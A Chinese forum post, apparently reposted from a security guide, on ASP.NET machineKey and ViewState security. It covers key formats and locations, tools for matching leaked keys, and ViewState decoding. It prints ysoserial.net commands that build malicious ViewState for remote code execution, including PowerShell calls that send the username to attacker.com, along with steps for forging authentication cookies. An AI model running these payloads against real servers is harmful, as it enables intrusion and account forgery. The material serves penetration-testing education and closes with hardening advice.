IIS Machine Keys 安全风险详解

打印 上一主题 下一主题

主题 1758|帖子 1758|积分 5274

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
前言

ASP.NET 应用步伐中的 machineKey 配置对安全性至关重要。它用于加密息争密 forms 身份验证 cookie 数据、ViewState 数据,以及验证进程外会话状态标识。一旦 machineKey 泄漏或配置不当,可能导致严峻的安全性题目,例如身份伪造、数据窜改甚至长途代码实行。本文将深入探讨 IIS Machine Keys 的相干知识,包括 ViewState 的格式、Machine Key 的格式和位置、如何辨认已知的 Machine Key、如何解码 ViewState,以及如何利用 Machine Key 毛病进行攻击。
1. 焦点概念解释

1.1 IIS (Internet Information Services)

IIS 是微软公司开辟的 Web 服务器,用于托管 ASP.NET 应用步伐。它负责处理客户端的 HTTP 请求,并将请求转发给相应的应用步伐进行处理。IIS 的配置直接影响着应用步伐的安全性。
1.2 ASP.NET

ASP.NET 是微软公司开辟的 Web 应用步伐框架,用于构建动态网站、Web 应用步伐和 Web 服务。ASP.NET 应用步伐依靠 IIS 进行托管和运行。
1.3 Machine Key

machineKey 是 ASP.NET 配置文件(web.config 或 machine.config)中的一个配置元素,用于指定加密和验证数据的密钥和算法。它重要用于以下几个方面:


  • Forms 身份验证:加密息争密身份验证 cookie,防止用户身份被伪造。
  • ViewState:加密和验证 ViewState 数据,防止数据被窜改。
  • 会话状态:验证进程外会话状态标识,防止会话被挟制。
machineKey 的配置不当大概泄漏会导致严峻的安全性题目。
1.4 ViewState

ViewState 是 ASP.NET 中一种用于在多次请求之间保持页面状态的技术。它将页面上的控件状态序列化为字符串,并存储在隐藏的表单字段(__VIEWSTATE)中。当页面回发时,ASP.NET 会将 ViewState 反序列化,从而恢复控件的状态。
ViewState 的安全性取决于 machineKey 的配置。如果 machineKey 泄漏大概 ViewState 未进行加密和 MAC 验证,攻击者可以窜改 ViewState 数据,从而导致各种安全题目。
1.5 加密算法 (Encryption Algorithms)

在 machineKey 配置中,加密算法用于对数据进行加密,防止数据被未经授权的访问。常见的加密算法包括:


  • DES (Data Encryption Standard):一种对称加密算法,密钥长度较短,安全性较低。
  • 3DES (Triple DES):一种对称加密算法,是 DES 的升级版,使用三个密钥进行加密,安全性较高。
  • AES (Advanced Encryption Standard):一种对称加密算法,是目前最流行的加密算法之一,安全性很高。
1.6 验证算法 (Validation Algorithms)

在 machineKey 配置中,验证算法用于对数据进行 MAC (Message Authentication Code) 验证,防止数据被窜改。常见的验证算法包括:


  • SHA1 (Secure Hash Algorithm 1):一种哈希算法,用于生成数据的摘要。
  • MD5 (Message Digest Algorithm 5):一种哈希算法,与 SHA1 类似,但安全性较低。
  • HMACSHA256 (Hash-based Message Authentication Code with SHA256):一种消息认证码算法,使用 SHA256 哈希函数生成 MAC 值,安全性很高。
2. ViewState 格式

ViewState 的格式取决于 EnableViewStateMac 和 ViewStateEncryptionMode 属性的配置。
格式EnableViewStateMacViewStateEncryptionMode阐明Base64FalseFalseViewState 数据以 Base64 编码存储,未进行 MAC 验证和加密。Base64 + MACTrueFalseViewState 数据以 Base64 编码存储,并附加了 MAC 值进行验证。Base64 + 加密False 或 TrueTrueViewState 数据颠末加密后,再以 Base64 编码存储。是否启用 MAC 验证取决于 EnableViewStateMac 属性的配置。通常来说,如果 ViewStateEncryptionMode 设置为 Always,EnableViewStateMac 也会被设置为 True,以提供更强的安全性。 在 2014 年 9 月之前,enableViewStateMac 属性的默认值为 False,这意味着 ViewState 默认情况下未进行 MAC 验证,存在安全风险。通常,未加密的 ViewState 以字符串 /wEP 开头。
3. Machine Key 格式与位置

3.1 Machine Key 格式

machineKey 配置元素的格式如下:
  1. <machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" compatibilityMode="Framework20SP2|Framework45" />
复制代码


  • validationKey: 用于验证数据的十六进制字符串,确保数据未被窜改。
  • decryptionKey: 用于加密息争密敏感数据的十六进制字符串。
  • validation: 用于指定数据验证算法,常见的有 SHA1、MD5、3DES、AES 和 HMACSHA256 等。
  • decryption: 用于指定加密算法,常见的有 Auto、DES、3DES 和 AES 等。
  • compatibilityMode: 指定与哪个 .NET Framework 版本兼容,常见的有 Framework20SP2 和 Framework45。
以下是一个 machineKey 的示例:
  1. <machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246C11B" validation="SHA1" decryption="AES" />
复制代码
3.2 Machine Key 常见位置

machineKey 通常存储在以下位置:


  • web.config: 应用步伐级别的配置文件,位于应用步伐的根目次下。
  • machine.config: 机器级别的配置文件,位于 .NET Framework 的配置目次下。
常见的 machine.config 路径如下:


  • 32 位体系

    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config

  • 64 位体系

    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config

当 AutoGenerate 启用时,machineKey 也会存储在注册表中:


  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
可以使用 gist 中的脚本提取注册表中的 machineKey。
3.3 安全风险

将 machineKey 存储在 web.config 中可能会导致安全风险,因为 web.config 文件可能会被未经授权的用户访问。建议将 machineKey 存储在更安全的位置,例如加密的配置文件或硬件安全模块 (HSM)。
别的,如果多个应用步伐共享同一个 machineKey,那么一个应用步伐的毛病可能会影响到其他应用步伐。因此,建议为每个应用步伐使用不同的 machineKey。
4. 辨认已知 Machine Key

可以使用以下工具辨认已知的 Machine Key:


  • isclayton/viewstalker: 一个用于辨认 ViewState 中 Machine Key 的工具。
    1. ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
    复制代码
  • blacklanternsecurity/badsecrets: 一个包罗大量已知 Machine Key 的数据库。
    1. python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
    复制代码
  • NotSoSecure/Blacklist3r: 另一个用于辨认已知 Machine Key 的工具。
    1. AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valal[...]
    复制代码
  • 0xacb/viewgen: 一个用于分析和生成 ViewState 的工具。
    1. $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
    复制代码
以下是一些常用的 Machine Key 列表:


  • NotSoSecure/Blacklist3r/MachineKeys.txt
  • isclayton/viewstalker/MachineKeys2.txt
  • blacklanternsecurity/badsecrets/aspnet_machinekeys.txt
5. 解码 ViewState

可以使用以下工具解码 ViewState 数据:


  • BApp Store > ViewState Editor: Burp Suite 插件,用于查看和编辑 ViewState 的结构和内容。
  • 0xacb/viewgen: 用于分析和生成 ViewState 的工具。
    1. $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYU[...]
    复制代码
6. 生成 ViewState 进行 RCE

6.1 条件条件



  • __VIEWSTATE
  • __VIEWSTATEGENERATOR
6.2 MAC 未启用

如果 MAC 未启用,可以直接使用 ysoserial.exe 生成恶意 ViewState,从而实现长途代码实行 (RCE)。
  1. ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
复制代码
6.3 MAC 启用且加密禁用


  • 使用 badsecrets、viewstalker、AspDotNetWrapper.exe 或 viewgen 找到 machineKey (validationkey)。
    1. AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valal[...]
    2. # --modifier = `__VIEWSTATEGENERATOR` 参数值# --encrypteddata = 目标应用步伐的 `__VIEWSTATE` 参数值
    复制代码
  • 使用 pwntester/ysoserial.net 生成 ViewState。可以使用 TextFormattingRunProperties 和 TypeConfuseDelegate gadgets。
    1. .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C5[...]
    2. .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F[...]
    3. # --generator = `__VIEWSTATEGENERATOR` 参数值
    4. # --validationkey = 上一个命令中的验证密钥
    复制代码
6.4 MAC 启用且加密启用

默认的验证算法是 HMACSHA256,默认的解密算法是 AES。
如果缺少 __VIEWSTATEGENERATOR,但应用步伐使用 .NET Framework 4.0 或更低版本,则可以使用应用步伐的根目次(例如:--apppath="/testaspx/")。


  • .NET Framework < 4.5: 如果从请求中删除 __VIEWSTATEENCRYPTED 参数,ASP.NET 始终担当未加密的 __VIEWSTATE。
    1. .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177[...]
    复制代码
  • .NET Framework > 4.5: machineKey 具有属性:compatibilityMode="Framework45"。
    1. .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryption[...]
    复制代码
7. 编辑 Cookies With The Machine Key

如果您拥有 machineKey,但 ViewState 已禁用,则可以使用以下方法编辑 cookies:
ASP.net Forms Authentication Cookies: https://github.com/liquidsec/aspnetCryptTools
  1. # 解密 cookie
  2. $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
  3. # 加密 cookie (编辑 Decrypted.txt)
  4. $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
复制代码
8. 安全建议



  • 保护 machineKey: 将 machineKey 存储在安全的位置,例如加密的配置文件或 HSM。
  • 为每个应用步伐使用不同的 machineKey: 制止多个应用步伐共享同一个 machineKey。
  • 启用 MAC 验证: 确保 enableViewStateMac 属性设置为 True,以防止 ViewState 数据被窜改。
  • 启用加密: 启用 ViewState 加密,防止敏感数据泄漏。
  • 定期更换 machineKey: 定期更换 machineKey,低沉被攻击的风险。
  • 使用强加密算法和验证算法: 制止使用弱加密算法和验证算法,例如 DES 和 MD5。
  • 监控应用步伐日志: 监控应用步伐日志,实时发现异常行为。
  • 实时更新 .NET Framework: 实时更新 .NET Framework,修复已知的安全毛病。
9. 总结

machineKey 是 ASP.NET 应用步伐安全性的关键组成部分。配置不当或泄漏 machineKey 可能会导致严峻的安全性题目。因此,开辟职员应该充分了解 machineKey 的相干知识,并接纳必要的安全措施来保护 machineKey,从而确保应用步伐的安全性。
10. 参考资料



  • Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019
  • Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019
  • Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019
  • Project Blacklist3r - @notsosecure - November 23, 2018
  • View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

南飓风

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表